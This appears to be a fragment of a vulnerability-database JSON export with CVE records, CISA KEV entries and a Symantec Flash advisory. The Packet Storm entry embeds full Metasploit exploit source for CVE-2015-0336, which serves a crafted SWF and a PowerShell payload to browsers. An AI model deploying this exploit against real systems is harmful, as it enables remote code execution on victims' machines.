"AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T21:51:57", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2022>) for more information.\n\nGoogle is aware that an exploit for CVE-2022-1096 exists in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-26T07:00:00", "type": "mscve", "title": "Chromium: CVE-2022-1096 Type Confusion in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2022-05-10T07:00:00", "id": "MS:CVE-2022-1096", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-1096", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "cisa_kev": [{"lastseen": "2023-12-03T16:07:25", "description": "Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. 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This vulnerability affects web browsers that utilize Chromium, including Google Chrome and Microsoft Edge.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Google Chromium V8 Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-37975", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:07:25", "description": "Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability affects web browsers that utilize Chromium, including Google Chrome and Microsoft Edge.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Google Chromium V8 Type Confusion Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-21224", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:07:25", "description": "Google Chromium V8 Engine has a bug in JSON.stringify where the internal TheHole value can leak to script code causing memory corruption. This vulnerability affects web browsers that utilize Chromium, including Google Chrome and Microsoft Edge.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Google Chromium V8 Memory Corruption Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-38003", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:07:25", "description": "Google Chromium Indexed DB API contains a use-after-free vulnerability that allows a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. This vulnerability affects web browsers that utilize Chromium, including Google Chrome and Microsoft Edge.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Google Chromium Indexed DB API Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, 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"userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-15T00:00:00", "type": "cisa_kev", "title": "Google Chromium V8 Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4102"], "modified": "2021-12-15T00:00:00", "id": "CISA-KEV-CVE-2021-4102", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:07:25", "description": "The vulnerability exists due to a type confusion error within the V8 component in Chromium, affecting all Chromium-based browsers.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-28T00:00:00", "type": "cisa_kev", "title": "Google Chromium V8 Type Confusion Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2022-03-28T00:00:00", "id": "CISA-KEV-CVE-2022-1096", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2016-12-05T22:24:47", "description": "", "cvss3": {}, "published": "2015-05-07T00:00:00", "type": "packetstorm", "title": "Adobe Flash Player NetConnection Type Confusion", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-0336"], "modified": "2015-05-07T00:00:00", "id": "PACKETSTORM:131785", "href": "https://packetstormsecurity.com/files/131785/Adobe-Flash-Player-NetConnection-Type-Confusion.html", "sourceData": "`## \n# This module requires Metasploit: http://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core' \n \nclass Metasploit3 < Msf::Exploit::Remote \nRank = NormalRanking \n \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::BrowserExploitServer \n \ndef initialize(info={}) \nsuper(update_info(info, \n'Name' => 'Adobe Flash Player NetConnection Type Confusion', \n'Description' => %q{ \nThis module exploits a type confusion vulnerability in the NetConnection class on \nAdobe Flash Player. When using a correct memory layout this vulnerability allows \nto corrupt arbitrary memory. It can be used to overwrite dangerous objects, like \nvectors, and finally accomplish remote code execution. This module has been tested \nsuccessfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit \n'Unknown', # Exploit in the wild \n'juan vazquez' # msf module \n], \n'References' => \n[ \n['CVE', '2015-0336'], \n['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], \n['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], \n['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], \n['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], \n['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] \n], \n'Payload' => \n{ \n'DisableNops' => true \n}, \n'Platform' => 'win', \n'BrowserRequirements' => \n{ \n:source => /script|headers/i, \n:os_name => OperatingSystems::Match::WINDOWS_7, \n:ua_name => Msf::HttpClients::IE, \n:flash => lambda { |ver| ver =~ /^16\\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') }, \n:arch => ARCH_X86 \n}, \n'Targets' => \n[ \n[ 'Automatic', {} ] \n], \n'Privileged' => false, \n'DisclosureDate' => 'Mar 12 2015', \n'DefaultTarget' => 0)) \nend \n \ndef exploit \n@swf = create_swf \n@trigger = create_trigger \nsuper \nend \n \ndef on_request_exploit(cli, request, target_info) \nprint_status(\"Request: #{request.uri}\") \n \nif request.uri =~ /\\.swf$/ \nprint_status('Sending SWF...') \nsend_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) \nreturn \nend \n \nprint_status('Sending HTML...') \nsend_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) \nend \n \ndef exploit_template(cli, target_info) \nswf_random = \"#{rand_text_alpha(4 + rand(3))}.swf\" \ntarget_payload = get_payload(cli, target_info) \npsh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) \nb64_payload = Rex::Text.encode_base64(psh_payload) \n \ntrigger_hex_stream = @trigger.unpack('H*')[0] \n \nhtml_template = %Q|<html> \n<body> \n<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" /> \n<param name=\"movie\" value=\"<%=swf_random%>\" /> \n<param name=\"allowScriptAccess\" value=\"always\" /> \n<param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>\" /> \n<param name=\"Play\" value=\"true\" /> \n<embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>\" Play=\"true\"/> \n</object> \n</body> \n</html> \n| \n \nreturn html_template, binding() \nend \n \ndef create_swf \npath = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') \nswf = ::File.open(path, 'rb') { |f| swf = f.read } \n \nswf \nend \n \ndef create_trigger \npath = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') \nswf = ::File.open(path, 'rb') { |f| swf = f.read } \n \nswf \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/131785/adobe_flash_net_connection_confusion.rb.txt", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "symantec": [{"lastseen": "2021-06-08T18:45:54", "description": "### Description\n\nAdobe Flash Player is prone to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely cause a denial-of-service condition.\n\n### Technologies Affected\n\n * Adobe Flash Player 10 \n * Adobe Flash Player 10.0.0.584 \n * Adobe Flash Player 10.0.12 .35 \n * Adobe Flash Player 10.0.12 .36 \n * Adobe Flash Player 10.0.12.10 \n * Adobe Flash Player 10.0.15 .3 \n * Adobe Flash Player 10.0.2.54 \n * Adobe Flash Player 10.0.22.87 \n * Adobe Flash Player 10.0.32 18 \n * Adobe Flash Player 10.0.32.18 \n * Adobe Flash Player 10.0.42.34 \n * Adobe Flash Player 10.0.45 2 \n * Adobe Flash Player 10.1 \n * Adobe Flash Player 10.1.102.64 \n * Adobe Flash Player 10.1.102.65 \n * Adobe Flash Player 10.1.105.6 \n * Adobe Flash Player 10.1.106.16 \n * Adobe Flash Player 10.1.106.17 \n * Adobe Flash Player 10.1.51.66 \n * Adobe Flash Player 10.1.52.14 \n * Adobe Flash Player 10.1.52.14.1 \n * Adobe Flash Player 10.1.52.15 \n * Adobe Flash Player 10.1.53.64 \n * Adobe Flash Player 10.1.82.76 \n * Adobe Flash Player 10.1.85.3 \n * Adobe Flash Player 10.1.92.10 \n * Adobe Flash Player 10.1.92.8 \n * Adobe Flash Player 10.1.95.1 \n * Adobe Flash Player 10.1.95.2 \n * Adobe Flash Player 10.2.152 \n * Adobe Flash Player 10.2.152.21 \n * Adobe Flash Player 10.2.152.26 \n * Adobe Flash Player 10.2.152.32 \n * Adobe Flash Player 10.2.152.33 \n * Adobe Flash Player 10.2.153.1 \n * Adobe Flash Player 10.2.154.13 \n * Adobe Flash Player 10.2.154.18 \n * Adobe Flash Player 10.2.154.24 \n * Adobe Flash Player 10.2.154.25 \n * Adobe Flash Player 10.2.154.27 \n * Adobe Flash Player 10.2.154.28 \n * Adobe Flash Player 10.2.156.12 \n * Adobe Flash Player 10.2.157.51 \n * Adobe Flash Player 10.2.159.1 \n * Adobe Flash Player 10.3.181.14 \n * Adobe Flash Player 10.3.181.16 \n * Adobe Flash Player 10.3.181.22 \n * Adobe Flash Player 10.3.181.23 \n * Adobe Flash Player 10.3.181.26 \n * Adobe Flash Player 10.3.181.34 \n * Adobe Flash Player 10.3.183.10 \n * Adobe Flash Player 10.3.183.11 \n * Adobe Flash Player 10.3.183.15 \n * Adobe Flash Player 10.3.183.16 \n * Adobe Flash Player 10.3.183.18 \n * Adobe Flash Player 10.3.183.19 \n * Adobe Flash Player 10.3.183.20 \n * Adobe Flash Player 10.3.183.23 \n * Adobe Flash Player 10.3.183.25 \n * Adobe Flash Player 10.3.183.29 \n * Adobe Flash Player 10.3.183.4 \n * Adobe Flash Player 10.3.183.43 \n * Adobe Flash Player 10.3.183.48 \n * Adobe Flash Player 10.3.183.5 \n * Adobe Flash Player 10.3.183.50 \n * Adobe Flash Player 10.3.183.51 \n * Adobe Flash Player 10.3.183.61 \n * Adobe Flash Player 10.3.183.63 \n * Adobe Flash Player 10.3.183.67 \n * Adobe Flash Player 10.3.183.68 \n * Adobe Flash Player 10.3.183.7 \n * Adobe Flash Player 10.3.183.75 \n * Adobe Flash Player 10.3.183.86 \n * Adobe Flash Player 10.3.185.21 \n * Adobe Flash Player 10.3.185.22 \n * Adobe Flash Player 10.3.185.23 \n * Adobe Flash Player 10.3.185.24 \n * Adobe Flash Player 10.3.185.25 \n * Adobe Flash Player 10.3.186.2 \n * Adobe Flash Player 10.3.186.3 \n * Adobe Flash Player 10.3.186.6 \n * Adobe Flash Player 10.3.186.7 \n * Adobe Flash Player 11 \n * Adobe Flash Player 11.0 \n * Adobe Flash Player 11.0.1.129 \n * Adobe Flash Player 11.0.1.152 \n * Adobe Flash Player 11.0.1.153 \n * Adobe Flash Player 11.0.1.60 \n * Adobe Flash Player 11.0.1.98 \n * Adobe Flash Player 11.1 \n * Adobe Flash Player 11.1.102.228 \n * Adobe Flash Player 11.1.102.55 \n * Adobe Flash Player 11.1.102.59 \n * Adobe Flash Player 11.1.102.62 \n * Adobe Flash Player 11.1.102.63 \n * Adobe Flash Player 11.1.111.10 \n * Adobe Flash Player 11.1.111.44 \n * Adobe Flash Player 11.1.111.5 \n * Adobe Flash Player 11.1.111.50 \n * Adobe Flash Player 11.1.111.54 \n * Adobe Flash Player 11.1.111.6 \n * Adobe Flash Player 11.1.111.64 \n * Adobe Flash Player 11.1.111.7 \n * Adobe Flash Player 11.1.111.73 \n * Adobe Flash Player 11.1.111.8 \n * Adobe Flash Player 11.1.111.9 \n * Adobe Flash Player 11.1.112.61 \n * Adobe Flash Player 11.1.115.11 \n * Adobe Flash Player 11.1.115.34 \n * Adobe Flash Player 11.1.115.48 \n * Adobe Flash Player 11.1.115.54 \n * Adobe Flash Player 11.1.115.58 \n * Adobe Flash Player 11.1.115.59 \n * Adobe Flash Player 11.1.115.6 \n * Adobe Flash Player 11.1.115.63 \n * Adobe Flash Player 11.1.115.69 \n * Adobe Flash Player 11.1.115.7 \n * Adobe Flash Player 11.1.115.8 \n * Adobe Flash Player 11.1.115.81 \n * Adobe Flash Player 11.2.202 238 \n * Adobe Flash Player 11.2.202.160 \n * Adobe Flash Player 11.2.202.197 \n * Adobe Flash Player 11.2.202.221 \n * Adobe Flash Player 11.2.202.223 \n * Adobe Flash Player 11.2.202.228 \n * Adobe Flash Player 11.2.202.229 \n * Adobe Flash Player 11.2.202.233 \n * Adobe Flash Player 11.2.202.235 \n * Adobe Flash Player 11.2.202.236 \n * Adobe Flash Player 11.2.202.238 \n * Adobe Flash Player 11.2.202.243 \n * Adobe Flash Player 11.2.202.251 \n * Adobe Flash Player 11.2.202.258 \n * Adobe Flash Player 11.2.202.261 \n * Adobe Flash Player 11.2.202.262 \n * Adobe Flash Player 11.2.202.270 \n * Adobe Flash Player 11.2.202.273 \n * Adobe Flash Player 11.2.202.275 \n * Adobe Flash Player 11.2.202.280 \n * Adobe Flash Player 11.2.202.285 \n * Adobe Flash Player 11.2.202.291 \n * Adobe Flash Player 11.2.202.297 \n * Adobe Flash Player 11.2.202.310 \n * Adobe Flash Player 11.2.202.327 \n * Adobe Flash Player 11.2.202.332 \n * Adobe Flash Player 11.2.202.335 \n * Adobe Flash Player 11.2.202.336 \n * Adobe Flash Player 11.2.202.341 \n * Adobe Flash Player 11.2.202.346 \n * Adobe Flash Player 11.2.202.350 \n * Adobe Flash Player 11.2.202.356 \n * Adobe Flash Player 11.2.202.359 \n * Adobe Flash Player 11.2.202.378 \n * Adobe Flash Player 11.2.202.394 \n * Adobe Flash Player 11.2.202.400 \n * Adobe Flash Player 11.2.202.406 \n * Adobe Flash Player 11.2.202.411 \n * Adobe Flash Player 11.2.202.418 \n * Adobe Flash Player 11.2.202.424 \n * Adobe Flash Player 11.2.202.425 \n * Adobe Flash Player 11.2.202.429 \n * Adobe Flash Player 11.2.202.438 \n * Adobe Flash Player 11.2.202.440 \n * Adobe Flash Player 11.2.202.442 \n * Adobe Flash Player 11.2.202.95 \n * Adobe Flash Player 11.3.300.214 \n * Adobe Flash Player 11.3.300.231 \n * Adobe Flash Player 11.3.300.250 \n * Adobe Flash Player 11.3.300.257 \n * Adobe Flash Player 11.3.300.262 \n * Adobe Flash Player 11.3.300.265 \n * Adobe Flash Player 11.3.300.268 \n * Adobe Flash Player 11.3.300.270 \n * Adobe Flash Player 11.3.300.271 \n * Adobe Flash Player 11.3.300.273 \n * Adobe Flash Player 11.3.31.230 \n * Adobe Flash Player 11.3.378.5 \n * Adobe Flash Player 11.4.400.231 \n * Adobe Flash Player 11.4.402.265 \n * Adobe Flash Player 11.4.402.278 \n * Adobe Flash Player 11.4.402.287 \n * Adobe Flash Player 11.5.500.80 \n * Adobe Flash Player 11.5.502.110 \n * Adobe Flash Player 11.5.502.118 \n * Adobe Flash Player 11.5.502.124 \n * Adobe Flash Player 11.5.502.131 \n * Adobe Flash Player 11.5.502.135 \n * Adobe Flash Player 11.5.502.136 \n * Adobe Flash Player 11.5.502.146 \n * Adobe Flash Player 11.5.502.149 \n * Adobe Flash Player 11.6.602.105 \n * Adobe Flash Player 11.6.602.167 \n * Adobe Flash Player 11.6.602.168 \n * Adobe Flash Player 11.6.602.171 \n * Adobe Flash Player 11.6.602.180 \n * Adobe Flash Player 11.7.700.169 \n * Adobe Flash Player 11.7.700.202 \n * Adobe Flash Player 11.7.700.203 \n * Adobe Flash Player 11.7.700.224 \n * Adobe Flash Player 11.7.700.225 \n * Adobe Flash Player 11.7.700.232 \n * Adobe Flash Player 11.7.700.242 \n * Adobe Flash Player 11.7.700.252 \n * Adobe Flash Player 11.7.700.257 \n * Adobe Flash Player 11.7.700.260 \n * Adobe Flash Player 11.7.700.261 \n * Adobe Flash Player 11.7.700.269 \n * Adobe Flash Player 11.7.700.272 \n * Adobe Flash Player 11.7.700.275 \n * Adobe Flash Player 11.7.700.279 \n * Adobe Flash Player 11.8.800.168 \n * Adobe Flash Player 11.8.800.170 \n * Adobe Flash Player 11.8.800.94 \n * Adobe Flash Player 11.8.800.97 \n * Adobe Flash Player 11.9.900.117 \n * Adobe Flash Player 11.9.900.152 \n * Adobe Flash Player 11.9.900.170 \n * Adobe Flash Player 12 \n * Adobe Flash Player 12.0.0.38 \n * Adobe Flash Player 12.0.0.41 \n * Adobe Flash Player 12.0.0.43 \n * Adobe Flash Player 12.0.0.44 \n * Adobe Flash Player 12.0.0.70 \n * Adobe Flash Player 12.0.0.77 \n * Adobe Flash Player 13.0.0.182 \n * Adobe Flash Player 13.0.0.201 \n * Adobe Flash Player 13.0.0.206 \n * Adobe Flash Player 13.0.0.214 \n * Adobe Flash Player 13.0.0.223 \n * Adobe Flash Player 13.0.0.231 \n * Adobe Flash Player 13.0.0.241 \n * Adobe Flash Player 13.0.0.244 \n * Adobe Flash Player 13.0.0.250 \n * Adobe Flash Player 13.0.0.252 \n * Adobe Flash Player 13.0.0.258 \n * Adobe Flash Player 13.0.0.259 \n * Adobe Flash Player 13.0.0.260 \n * Adobe Flash Player 13.0.0.262 \n * Adobe Flash Player 13.0.0.264 \n * Adobe Flash Player 13.0.0.269 \n * Adobe Flash Player 14.0.0.125 \n * Adobe Flash Player 14.0.0.145 \n * Adobe Flash Player 14.0.0.176 \n * Adobe Flash Player 14.0.0.177 \n * Adobe Flash Player 14.0.0.179 \n * Adobe Flash Player 15.0.0.152 \n * Adobe Flash Player 15.0.0.189 \n * Adobe Flash Player 15.0.0.223 \n * Adobe Flash Player 15.0.0.239 \n * Adobe Flash Player 15.0.0.242 \n * Adobe Flash Player 15.0.0.246 \n * Adobe Flash Player 16.0.0.234 \n * Adobe Flash Player 16.0.0.235 \n * Adobe Flash Player 16.0.0.257 \n * Adobe Flash Player 16.0.0.287 \n * Adobe Flash Player 16.0.0.291 \n * Adobe Flash Player 16.0.0.296 \n * Adobe Flash Player 16.0.0.305 \n * Adobe Flash Player 2 \n * Adobe Flash Player 3 \n * Adobe Flash Player 4 \n * Adobe Flash Player 6.0.21.0 \n * Adobe Flash Player 6.0.79 \n * Adobe Flash Player 7 \n * Adobe Flash Player 7.0.1 \n * Adobe Flash Player 7.0.14.0 \n * Adobe Flash Player 7.0.19.0 \n * Adobe Flash Player 7.0.24.0 \n * Adobe Flash Player 7.0.25 \n * Adobe Flash Player 7.0.53.0 \n * Adobe Flash Player 7.0.60.0 \n * Adobe Flash Player 7.0.61.0 \n * Adobe Flash Player 7.0.63 \n * Adobe Flash Player 7.0.66.0 \n * Adobe Flash Player 7.0.67.0 \n * Adobe Flash Player 7.0.68.0 \n * Adobe Flash Player 7.0.69.0 \n * Adobe Flash Player 7.0.70.0 \n * Adobe Flash Player 7.0.73.0 \n * Adobe Flash Player 7.1 \n * Adobe Flash Player 7.1.1 \n * Adobe Flash Player 7.2 \n * Adobe Flash Player 8 \n * Adobe Flash Player 8.0.22.0 \n * Adobe Flash Player 8.0.24.0 \n * Adobe Flash Player 8.0.33.0 \n * Adobe Flash Player 8.0.34.0 \n * Adobe Flash Player 8.0.35.0 \n * Adobe Flash Player 8.0.39.0 \n * Adobe Flash Player 8.0.42.0 \n * Adobe Flash Player 9 \n * Adobe Flash Player 9.0.112.0 \n * Adobe Flash Player 9.0.114.0 \n * Adobe Flash Player 9.0.115.0 \n * Adobe Flash Player 9.0.124.0 \n * Adobe Flash Player 9.0.125.0 \n * Adobe Flash Player 9.0.151 .0 \n * Adobe Flash Player 9.0.152 .0 \n * Adobe Flash Player 9.0.155.0 \n * Adobe Flash Player 9.0.159.0 \n * Adobe Flash Player 9.0.16 \n * Adobe Flash Player 9.0.18D60 \n * Adobe Flash Player 9.0.20 \n * Adobe Flash Player 9.0.20.0 \n * Adobe Flash Player 9.0.246 0 \n * Adobe Flash Player 9.0.246.0 \n * Adobe Flash Player 9.0.260.0 \n * Adobe Flash Player 9.0.262 \n * Adobe Flash Player 9.0.262.0 \n * Adobe Flash Player 9.0.277.0 \n * Adobe Flash Player 9.0.28.0 \n * Adobe Flash Player 9.0.280 \n * Adobe Flash Player 9.0.283.0 \n * Adobe Flash Player 9.0.289.0 \n * Adobe Flash Player 9.0.31.0 \n * Adobe Flash Player 9.0.45.0 \n * Adobe Flash Player 9.0.47.0 \n * Adobe Flash Player 9.0.48.0 \n * Adobe Flash Player 9.0.8.0 \n * Adobe Flash Player 9.0.9.0 \n * Adobe Flash Player 9.125.0 \n * Gentoo Linux \n * Microsoft Internet Explorer 10 \n * Microsoft Internet Explorer 11 \n\n### Recommendations\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of anomalous or suspicious activity. This includes but is not limited to requests that include NOP sleds and unexplained incoming and outgoing traffic. This may indicate exploit attempts or activity that results from a successful exploit. \n\n**Do not accept or execute files from untrusted or unknown sources.** \nTo limit exposure to these and other latent vulnerabilities, never handle files that originate from unfamiliar or untrusted sources.\n\n**Do not follow links provided by unknown or untrusted sources.** \nTo reduce the likelihood of attacks, never visit sites of questionable integrity or follow links provided by unfamiliar or untrusted sources.\n\n**Implement multiple redundant layers of security.** \nAs an added precaution, deploy memory-protection schemes (such as nonexecutable stack/heap configuration and randomly mapped memory segments). This may complicate exploits of memory-corruption vulnerabilities.\n\n**Run all software as a nonprivileged user with minimal access rights.** \nTo reduce the impact of latent vulnerabilities, run applications with the minimal amount of privileges 